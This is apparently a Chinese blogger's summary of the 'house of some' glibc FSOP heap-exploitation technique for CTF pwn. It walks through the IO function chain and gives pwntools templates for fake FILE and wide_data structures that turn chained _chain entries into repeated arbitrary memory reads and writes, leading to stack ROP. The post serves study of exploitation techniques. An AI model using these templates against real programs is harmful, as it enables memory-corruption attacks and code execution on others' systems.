house of some

来源于大佬:https://blog.csome.cc/p/house-of-some/,本文为个人小结,如有问题请斧正,侵删

简介

house of some 是 house of apple2 的改进链,想法是通过 chain 来进行 FSOP,造成多次任意地址读写,从而可以做到指哪打哪。这个链条个人觉得比之 apple2 最大的好处是扩展性强,因为高版本的 setcontext 改寄存器的方式很难找到 gadget 来首先修改 rdx 了,而这条链可以直接在栈上搞 rop,具有更广泛的应用空间。

思路

house of apple2 中最常用的链是:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
Bash

通常是通过控制 _wide_vtable+0x68 来进行程序流执行的控制的,这样做具有很大的缺陷:一方面由于版本不同,有的版本在禁止 execve 后很难找到 gadget 从而执行 orw;另一方面高版本对 _wide_vtable 进行检查的话,就没有办法控制虚表了。

作者在这里思考了在具有检查的时候,如果只能选择虚表内的函数,应当怎么做。

作者考虑了虚表内的函数 _IO_new_file_underflow,它会调用 _IO_SYSREAD(fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base),在可控的情况下完全可以任意地址写。而在程序执行之后的 _IO_flush_all 中,会通过 _chain 串起来的单向链表调用每个 file 块的 _IO_OVERFLOW(fp,EOF)

于是只要在第一次任意地址写的同时,通过构造 _chain 为一串想要的 IO_file 块,就可以做到想要次数的任意地址读写

这里给出作者写的任意地址写和读的 file 模板:

fake_file_read = flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr
    
    0x38: 任意地址写的起始地址, # _IO_buf_base
    0x40: 任意地址写的终止地址, # _IO_buf_end
    
    0x70: 0, # _fileno
    0x82: b"\x00", # _vtable_offset
    0xc0: 2, # _mode
    0xa0: wide_data 的地址, # _wide_data
    0x68: 下一个调用的 fake file 地址, # _chain
    0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")

fake_wide_data = flat({
    0xe0: _IO_file_jumps - 0x48,
    0x18: 0,
    0x20: 1,
    0x30: 0,
}, filler=b"\x00")
Python
fake_file_write = flat({
    0x00: 0x800 | 0x1000, # _flags
    
    0x20: 需要泄露的起始地址, # _IO_write_base
    0x28: 需要泄露的终止地址, # _IO_write_ptr

    0x70: 1, # _fileno
    0x68: 下一个调用的 fake file 地址, # _chain
    0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")
Python

通过串联多个 file 的任意地址读写,就可以做到泄露 environ,然后在栈上泄露返回地址,从而做到栈上写 rop 执行的过程。非常的强大!

作者还给了个自动化脚本:https://github.com/CsomePro/Some-of-House 暂未研究过咋用的。